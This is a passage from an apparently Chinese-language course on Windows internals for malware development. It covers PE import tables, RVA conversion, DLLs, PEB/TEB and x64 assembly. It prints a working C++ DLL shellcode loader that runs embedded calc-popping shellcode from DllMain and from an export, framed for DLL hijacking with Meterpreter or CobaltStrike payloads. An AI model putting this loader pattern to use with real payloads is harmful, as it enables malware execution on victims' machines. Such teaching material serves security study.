总之，每个载入的 DLL 都以结构体 IMAGE\_IMPORT\_DESCRIPTOR 条目的形式出现在导入目录中，该结构体包含了 DLL 的名称、ILT 以及 IAT 的 RVA。在载入之前，IAT 与 ILT 是相同的，包含了导入函数的引用。当载入时，加载器检查 **IAT** 条目，并通过检查条目的**最高位**是否被设置来确定是按序数导入还是按名称导入。如果导入按序数进行，只需通过检查相应 DLL 的导出数据将序数解析为地址，并用该地址覆盖 IAT 条目。如果导入是按名称完成的，则首先检查条目指向的 **IMAGE\_IMPORT\_BY\_NAME** (Hint/Name 表) 结构体，然后使用 Hint 和函数名称将函数解析为地址并覆盖 IAT 条目。

查看 IAT，因为**序数**为空，因此是通过名称导入的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/XYvTKELo1Uk7vacK-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/XYvTKELo1Uk7vacK-image.png)

### **原始偏移与 RVA 转换**

我们知道 Offset 表示当 PE 文件存在于磁盘中，某一位置距离文件头的偏移，而 RVA 表示当 PE 文件被加载至内存中，与基址的距离。那么，我们怎么实现将 RVA 转化为 Offset 呢？

首先，我们需要确定给定 RVA 所在的节。以导出表结构体 Name 成员 (不一定每个 PE 文件都有，以一非托管 DLL 为例) 为例，该成员指向当前**模块的名称**，即名称**字符串的 RVA**，我们可以看到 RVA 是 **0x28A2**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/e3DIfYvc7bm7PMZt-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/e3DIfYvc7bm7PMZt-image.png)

查看节表，我们发现该 RVA 在 rdata 节，因为 **28A2 &lt; 2CB8**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/QERFsRcWhNDjj4Tr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/QERFsRcWhNDjj4Tr-image.png)

用该 RVA 减去此节的 RVA，这里是 0x2000，得到 0x8A2。最后，我们加上此节的 PointerToRawData，即当该文件在磁盘中时，此节的偏移值，这里是 0x1400。

***Offset = 0x28A2 - 0x2000 + 0x1400 = 0x1CA2***

跳转到 0x1CA2 的原始偏移处，正是该模块的名称。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/WawgXfxZ5enTambQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/WawgXfxZ5enTambQ-image.png)

综上，公式如下：

```c++
1: 确定该RVA处于哪个节，节的范围为 [_IMAGE_SECTION_HEADER.VirtualAddress, _IMAGE_SECTION_HEADER.VirtualAddress + _IMAGE_SECTION_HEADER.VirtualSize]
2: 原始偏移 = RVA - _IMAGE_SECTION_HEADER.VirtualAddress + _IMAGE_SECTION_HEADER.PointerToRawData
```

### **总结**

总结一下在 PE 文件中一些重要属性的位置，并根据自己需要进一步增加与完善表格的条目。

<table border="1" id="bkmrk-%E5%90%8D%E7%A7%B0-%E5%81%8F%E7%A7%BB-%E5%80%BC-%E5%A4%87%E6%B3%A8-pe-%E5%A4%B4-0-0x" style="border-collapse: collapse; width: 100%; height: 710.4px;"><colgroup><col style="width: 21.8735%;"></col><col style="width: 46.2215%;"></col><col style="width: 31.8803%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**名称**</td><td style="height: 29.6px;">**偏移值**  
</td><td style="height: 29.6px;">**备注**  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">PE 头  
</td><td style="height: 29.6px;">0  
</td><td style="height: 29.6px;">固定值 **0x4D5A**  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">NT 头偏移  
</td><td style="height: 29.6px;">0x3C  
</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">NT 头  
</td><td style="height: 29.6px;">PE \[0x3C\]  
</td><td style="height: 29.6px;">固定值 **0x50450000**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">File 头  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x4  
</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">节数目  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x6</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">可选头尺寸  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x14</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">可选头  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x18</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">程序入口  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x28</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">.text 节 RVA  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x2C</td><td style="height: 29.6px;">通常为 **0x1000**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">映像偏好基址  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x30</td><td style="height: 29.6px;">  
</td></tr><tr><td>映像尺寸</td><td>PE\[0x3C\] + 0x50</td><td>  
</td></tr><tr><td>.text 节 Offset</td><td>PE\[0x3C\] + 0x54</td><td>通常为 **0x400**</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">导出目录 RVA x86  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x18 + 0x60  
</td><td style="height: 29.6px;">**PE32**。除此行之外皆为 **PE64** 下的情况  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">导出目录 RVA x64  
</td><td style="height: 29.6px;">PE\[0x3C\] + 0x18 + 0x70  
</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">模块名称 x64  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0xC</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">模块基址 x64  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0x10</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">函数数量  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0x14</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">函数名称数量  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0x18</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">EAT 的 RVA  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0x1C</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">EAT  
</td><td style="height: 29.6px;">PE\[PE\[PE\[0x3c\] + 0x88\] + 0x1C\]  
</td><td style="height: 29.6px;">当模块被载入内存中时  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">ENPT 的 RVA  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0x20</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">ENPT  
</td><td style="height: 29.6px;">PE\[PE\[PE\[0x3c\] + 0x88\] + 0x20\]  
</td><td style="height: 29.6px;">当模块被载入内存中时</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">序数表的 RVA  
</td><td style="height: 29.6px;">PE\[PE\[0x3c\] + 0x88\] + 0x24</td><td style="height: 29.6px;">  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">序数表  
</td><td style="height: 29.6px;">PE\[PE\[PE\[0x3c\] + 0x88\] + 0x24\]  
</td><td style="height: 29.6px;">当模块被载入内存中时</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">节表</td><td style="height: 29.6px;">PE\[0x3C\] + 0x18 + PE\[ PE\[0x3C\] +0x14\]</td><td style="height: 29.6px;">  
</td></tr></tbody></table>

# 动态链接库文件

### **DLL 文件**

对于 Windows 操作系统，EXE 与 DLL 虽然同为 PE 文件，但是这 2 种文件类型依旧有着诸多的不同。DLL 是可执行函数或数据的共享库，可供多个应用程序同时使用。DLL 文件用于导出供进程使用的函数。与 EXE 文件不同，DLL 文件不能独自被用于执行代码 (例如不能双击即运行)，而是需要由其他程序调用 DLL 中的函数来实现代码执行。如我们之前探讨的 **MessageBoxW**，是从 **user32.dll** 导出的，因此如果程序想要调用该函数，首先需要将 user32.dll 加载到其地址空间中。

默认情况下，一些 DLL 会自动加载到每个进程中，例如 **ntdll.dll**、**kernel32.dll** 和 **kernelbase.dl**l 等，因为这些导出函数对于进程的正常执行非常重要。

例如，我们查看 explorer.exe 与 firefox.exe 加载的 DLL，它们都加载了 kernel32.dll，且该 DLL 的基址都是一样的，这也印证了同个 DLL 可供多个应用程序同时使用。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/7iPXrkMpV5abZ5El-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/7iPXrkMpV5abZ5El-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/6a3OCj6dXcWGienV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/6a3OCj6dXcWGienV-image.png)

总之，DLL 在 Windows 上被广泛使用的原因有**代码模块化**、**代码重用**、**内存高效使用**等。

### **编写 DLL**  


让我们使用 C++ 编写一个 DLL 文件以了解 DLL 在代码层面的结构。虽然 C# 也可以用于编写 DLL 文件，但是 C# 编译的 DLL 是托管DLL，而 C++ 编译的 DLL 是非托管 DLL，用途和用法上也有较大的不同，因此我们现在着眼于 C++ 编写的 DLL 文件。

使用 Visual Studio 新建一个 C++ 语言的 **Dynamic-Link Library** 项目：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/5z8K9mIAAL1D5uDh-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/5z8K9mIAAL1D5uDh-image.png)

一个 DLL 文件的代码框架如下：

```c++
#include "pch.h"


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

**DllMain** 为 DLL 文件的入口，switch 分支里的 4 个 case 分别为：**进程在加载该 DLL**、**进程在创建新线程**、**线程正常退出**、**进程解除对该 DLL 的加载**。在上个小节，我们讲了 DLL 文件可以提供导出函数为其他 PE 文件所用，对于想要导出的函数，在前面加上 **extern \_\_declspec(dllexport)** 关键字。

观察以下代码，我们发现当该 DLL 被加载时，MessageBox 会弹出，显示 **Loaded!**。而当导出函数 messagebox() 被调用的时候，MessageBox 也会弹出，但显示的是 **Export Function is invoked**。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"


extern "C" __declspec(dllexport) void messagebox()
{
    MessageBoxA(NULL, "Export Function is invoked", "Export", MB_OK);
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        MessageBoxA(NULL, "Loaded!", "ATTACH", MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

编译后，使用 PE Bear 查看导出表，我们便能看到 messagebox 导出函数。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/mUmGPq9COtmR0JJv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/mUmGPq9COtmR0JJv-image.png)

从恶意软件开发的角度，尤其是配合之前所讲的 **DLL 劫持/代理**技术，想要在 DLL 里实现 Shellcode 执行，我们需要注意不能在 DllMain 中使用 **LoadLibrary**，不然会导致死锁问题。以 Meterpreter 或 CobaltStrike 的 Shellcode 为例，它们都有用到 LoadLibrary 来加载所需函数寄居的 DLL。那么，要在 DLL 中执行 Shellcode，我们可以在 DllMain 中创建一个新的**线程**来执行 Shellcode，或者在**导出函数**中执行 Shellcode。

如下图所示的代码，函数 **calc\_export** 与 **calc\_dllmain** 中的代码基本相同。calc\_export 可以从外部调用，例如通过 rundll32 指定该导出函数。calc\_dllmain 则是将要在 DllMain 中执行的代码进行了封装，该函数通过**创建新的进程**的方式执行了计算器的 Shellcode。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"


unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};



extern "C" __declspec(dllexport) void calc_export()
{
    int length = sizeof(shellcode);
    void * exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    ((void(*) ()) exec)();
}


void calc_dllmain()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        calc_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

使用 rundll32 外部调用 calc\_export 函数，计算器弹出来 2 次，一次是从 DllMain 中的 Shellcode 执行，一次是我们指定的导出函数中的 Shellcode 执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/513gLqOxVBGglsc8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/513gLqOxVBGglsc8-image.png)

### **载入 DLL**

对于像刚才那样我们自己编写的 DLL 文件，Windows 是不会自动载入的。那么，我们该怎么在一个应用程序中载入该 DLL 并调用其导出函数呢？简单地说，先通过 **LoadLibrary** API 来载入指定 DLL 文件至程序的内存，接着使用 **GetProcessAddress** 获得导出函数的地址，最后执行该函数。代码如下：

```c++
#include <iostream>
#include <windows.h>

typedef void (*calc_export)();

int main()
{
    HMODULE hModule = LoadLibraryA("D:\\tooling\\dllcpp\\x64\\Release\\dllcpp.dll");
    calc_export calc_ptr=(calc_export)GetProcAddress(hModule, "calc_export");
    calc_ptr();
}
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/LqMnt779a6Q0BTCD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/LqMnt779a6Q0BTCD-image.png)

如果 DLL 已经被载入到应用的内存中，那么使用 **GetModuleHandle** API 获得对该 DLL 的句柄。

```
#include <iostream>
#include <windows.h>

typedef int (WINAPI* MessageBoxAType)(
    HWND          hWnd,
    LPCSTR        lpText,
    LPCSTR        lpCaption,
    UINT          uType
    );

int main()
{
    HMODULE hModule = GetModuleHandleA("user32.dll");
    if (hModule != NULL)
    {
        MessageBoxAType msg_ptr = (MessageBoxAType)GetProcAddress(hModule, "MessageBoxA");
        if (msg_ptr != NULL)
        {
            msg_ptr(NULL, "Dler Security 2022", "Message", MB_OK);
        }
        else
        {
            std::cout << "Failed to locate the function." << std::endl;
        }
    }
    else
    {
        std::cout << "Failed to load the DLL." << std::endl;
    }
}
```

# 进程与线程

在恶意软件开发领域，诸多**代码注入**、**防御规避**技术是围绕着进程与线程展开的，因此我们首先需要理解进程与线程的相关概念。

### **进程与线程**

Windows 进程是指当前运行在 Windows 主机上的**程序或者应用的实例**，每个进程都与其他进程隔离，并拥有由操作系统分配的私有资源。进程可以是用户或者操作系统开启的，消耗着如内存、磁盘空间等资源。

线程是进程内的最小执行单元，每个 Windows 进程由 1 个或多个线程并发运行。进程中运行的每个线程共享进程的内存和资源。 与进程不同，线程之间不是相互隔离的，可以直接与进程中的其他线程交互。

总之，进程是一个正在运行的程序，拥有操作系统分配的独自的资源，而线程是进程内的执行路径。进程中的多个线程共享进程的资源，但独立地并发地执行。因此，虽然一个进程可以在其中运行多个线程，但每个线程独立操作，执行自己的指令，这个概念是并发编程的关键，其中同时执行多个任务以提高程序的效率和性能。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/bjPyuwuA85H6tVBD-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/bjPyuwuA85H6tVBD-image.png)

### **进程内存**  


Windows 进程也使用内存来存储数据和指令。当进程创建时，会被分配内存，分配的内存量可以由进程本身设置。操作系统使用虚拟内存和物理内存来管理内存。通过创建可由应用程序访问的虚拟地址空间，虚拟内存允许操作系统使用比物理可用内存更多的内存。这些虚拟地址空间被划分为页，然后分配给进程。

进程可以有不同类型的内存：

**私有内存**：专用于单个进程，不能被其他进程所共享，这种类型的内存用于存储特定于进程的数据。  
**映射内存**：可以在 2 个或多个进程之间共享，它用于在进程之间共享数据，例如共享库、共享内存段和共享文件。映射内存对其他进程可见，但不会被其他进程修改。  
**映像内存**：包含可执行文件的代码和数据，它用于存储进程使用的代码和数据，例如程序的代码、数据和资源。 映像内存通常与加载到进程地址空间中的 DLL 文件相关。

### **PEB**

进程环境块 (PEB) 是 Windows 中的一种数据结构，其中包含有关进程的信息，例如**进程的参数**、**启动信息**、**分配的堆信息**和**加载的 DLL** 等。操作系统使用 PEB 来存储正在运行的进程的信息，Windows 加载程序使用它来启动应用程序。它还存储有关进程的信息，例如**进程 ID** (PID) 和**可执行文件的路径**。

创建的每个进程都有自己的 PEB 数据结构，C 语言下的 PEB 结构体如下所示：

```c++
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;
```

微软并没有在文档中记录所有的元素，并且 PEB 可能在以后进行修改。该结构体中的一些元素对于进程的操作较为重要

##### **BegingDebugged**

该元素表示当前进程是否正在被 Debug，当进程正在被调试时，该元素被设置为 1 (TRUE)，反之则为 0 (FALSE)。

##### **LDR**

Ldr 是指向 PEB 中的 **PEB\_LDR\_DATA 结构体**的指针，该结构包含有关进程加载的 DLL 模块的信息。它包含了进程中加载的 **DLL 的列表**、每个 DLL 的**基址**以及**大小**，Windows 加载程序使用它来跟踪进程中加载的 DLL。我们则可以通过 LDR 枚举进程载入的 DLL 以及查找进程内存中的特定 DLL。

 **PEB\_LDR\_DATA** 结构体如下所示：

```c++
typedef struct _PEB_LDR_DATA {
  BYTE       Reserved1[8];
  PVOID      Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
```

我们可以通过 LDR 枚举进程载入的 DLL 以及查找进程内存中的特定 DLL，以及寻找特定 DLL (例如 kernel32.dll) 的基址。并且根据这些信息来实现自定义的 **GetModuleHandle**。

##### **ProcessParameters**

ProcessParameters 是 PEB 中的结构体，包含了**映像路径**、传递给进程的**命令行参数**等信息。Windows 加载程序将这些参数添加到进程的 PEB 结构中。ProcessParameters 是指向 **RTL\_USER\_PROCESS\_PARAMETERS** 结构体的指针，代码如下所示：

```c++
typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
```

ProcessParameter 可被利用于实现**命令行伪造攻击**，我们在下一章节会介绍到。

##### **PostProcessInitRoutine**

PEB 结构中的 PostProcessInitRoutine 元素用于存储指向一个函数的指针，该函数在进程中的所有线程完成 TLS (**线程本地存储**) 初始化后由操作系统调用。该函数可用于执行该进程所需的任何其他初始化任务。

##### **SessionId**

PEB 中的 SessionID 元素是分配给单个会话的唯一标识符，用于追踪会话期间的用户活动。

### **TEB**

TEB (线程环境块) 是 Windows 中存储有关**线程信息**的结构体，是为进程中的每个线程分配的数据块，操作系统使用它来管理线程。它包含线程的环境、安全上下文和其他相关信息。它存储在线程的**栈**中，供 Windows 内核用来管理线程。

在 C 语言中，TEB 的结构体如下所示：

```c++
typedef struct _TEB {
  PVOID Reserved1[12];
  PPEB  ProcessEnvironmentBlock;
  PVOID Reserved2[399];
  BYTE  Reserved3[1952];
  PVOID TlsSlots[64];
  BYTE  Reserved4[8];
  PVOID Reserved5[26];
  PVOID ReservedForOle;
  PVOID Reserved6[4];
  PVOID TlsExpansionSlots;
} TEB, *PTEB;
```

TEB 中的一些元素较为重要，我们分别来查看：

##### **ProcessEnvironmentBlock**

该元素是 PEB 结构体的指针，PEB 在上文刚讨论过。

##### **<span style="box-sizing: border-box;">TlsSlots</span>**

<span style="box-sizing: border-box; -webkit-print-color-adjust: exact;">**线程本地存储** (TLS) 是一种机制，使得给定多线程进程中的每个线程都可以分配位置来存储**线程特定的数据**。TlsSlots 是一个包含 64 个指针的数组，可用于存储特定于线程的数据。如果应用需要存储线程特定的数据，则它可以使用这些槽位之一来存储指向该数据的指针。</span>

##### **TlsExpansionSlots**

<span style="box-sizing: border-box; -webkit-print-color-adjust: exact;">如果需要超过 64 个 TLS 槽位，系统会分配一组额外槽位，并且指向该数组的指针存储在 TlsExpansionSlots 中。</span>

在 Windows 操作系统上，每个进程都有一个唯一的进程标识符 PID，这是操作系统在创建进程时分配的。同样的概念也适用于正在运行的线程，正在运行的线程也有着唯一的 ID 与其他的线程进行区分。

有了唯一的标识符后，分别可以用 OpenProcess 与 OpenThread 来获得进程或线程的句柄：

```c++
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

```c++
HANDLE OpenThread(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwThreadId
);
```

# x64架构汇编

掌握汇编语言对于恶意软件开发有着很大的作用，例如可以编写**自定义 Shellcode**、在木马加载器中插入汇编代码以实现**混淆**以及**底层的指令操作**等。

### **基本概念**

汇编语言是我们可以用来为给定 CPU 编写程序的最底层的编程语言，汇编可以被翻译为 **CPU 操作码**，即 CPU 可以直接执行的机器码。 通常，汇编指令与操作码具有 **1:1** 的关系，但在 C 等高级语言中情况并非如此，它们有多种方法将书面代码编译或转换为机器代码。接下来，我们分别来讨论汇编中设计的名词与概念。

##### **字节顺序**

字节顺序指的是数据在计算机内存中的存储方式。**大端**是指数据的最高有效字节 (最左端) 存储在低的内存地址中，最低有效位存储在高的内存地址中。字节顺序只适用于**字节**，而非**位**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/vTFu5vSzahvCZmwW-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/vTFu5vSzahvCZmwW-image.png)

如上图所示，0x11223344 的 4 个字节 0x11，0x22，0x33，0x44 分别存储在**由低往高**的内存地址中。

**小端**则正好相反，如下图所示，0x11223344 的 4 个字节 0x11，0x22，0x33，0x44 分别存储在**由高往低**的内存地址中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/ECKVuGkCtL1PR1SF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/ECKVuGkCtL1PR1SF-image.png)

因为小段运用更多，请尝试理解下图：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-06/scaled-1680-/OiImzrePCiOu0vqb-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-06/OiImzrePCiOu0vqb-image.png)

#####   


##### **有符号与无符号数字**

如果存储一个无符号的数，那么我们不需要指定其正负符号，那么该数的范围为 0 到 **2^64 -1** 。但如果要存储一个有符号的数，因为要额外留出一位存储正负符号，那么该数的范围为 **-2^63** 到 **2^63-1**。

计算一个数的负数形式，有 2 个步骤：**翻转所有位**，再**加上 1**。以 42 为例，过程如下：

```
42：    0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0010 1010
翻转：  1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1101 0101
加1:    1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1101 0110
```

##### **CPU 寄存器**

由于访问内存 (RAM) 对于 CPU 来说通常是一个缓慢的过程，因此处理器内总是包含许多**寄存器**，这些寄存器是处理器内部的小型存储位置，可以非常快速地访问数据。在 64 位 x64 处理器上，寄存器可以保存 **64 位**或 **8 字节**。 让我们分别查看一下如下的常用寄存器：

<table border="1" id="bkmrk-%E5%AF%84%E5%AD%98%E5%99%A8%E5%90%8D%E7%A7%B0-%E4%BD%9C%E7%94%A8-%E5%A4%87%E6%B3%A8-rax-rbx-" style="border-collapse: collapse; width: 100%; height: 414.4px;"><colgroup><col style="width: 12.4815%;"></col><col style="width: 52.6461%;"></col><col style="width: 34.8478%;"></col></colgroup><tbody><tr style="height: 29.6px;"><td style="height: 29.6px;">**寄存器名称**  
</td><td style="height: 29.6px;">**作用**  
</td><td style="height: 29.6px;">**备注**  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RIP** </td><td style="height: 29.6px;">指令寄存器，指向要被执行的下一条指令的地址</td><td style="height: 29.6px;">只读，不能拆分  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RAX**  
</td><td style="height: 29.6px;">累加寄存器，用于算术运算，I/O 操作，存储函数返回值等  
</td><td style="height: 29.6px;">通用寄存器。在 Windows syscall 中保存 SSN  
</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RBX**  
</td><td style="height: 29.6px;">基址寄存器，内存寻址时存放基址  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RCX**  
</td><td style="height: 29.6px;">计数寄存器，常用于循环中的计数器  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RDX**  
</td><td style="height: 29.6px;">数据寄存器，用于算数运算和 I/O 操作  
</td><td style="height: 29.6px;">通用寄存器</td></tr><tr style="height: 29.6px;"><td style="height: 29.6px;">**RSI**  
</td><td style="height: 29.6px;">源索引，通常用作字符串操作中的输入字符串的指针  
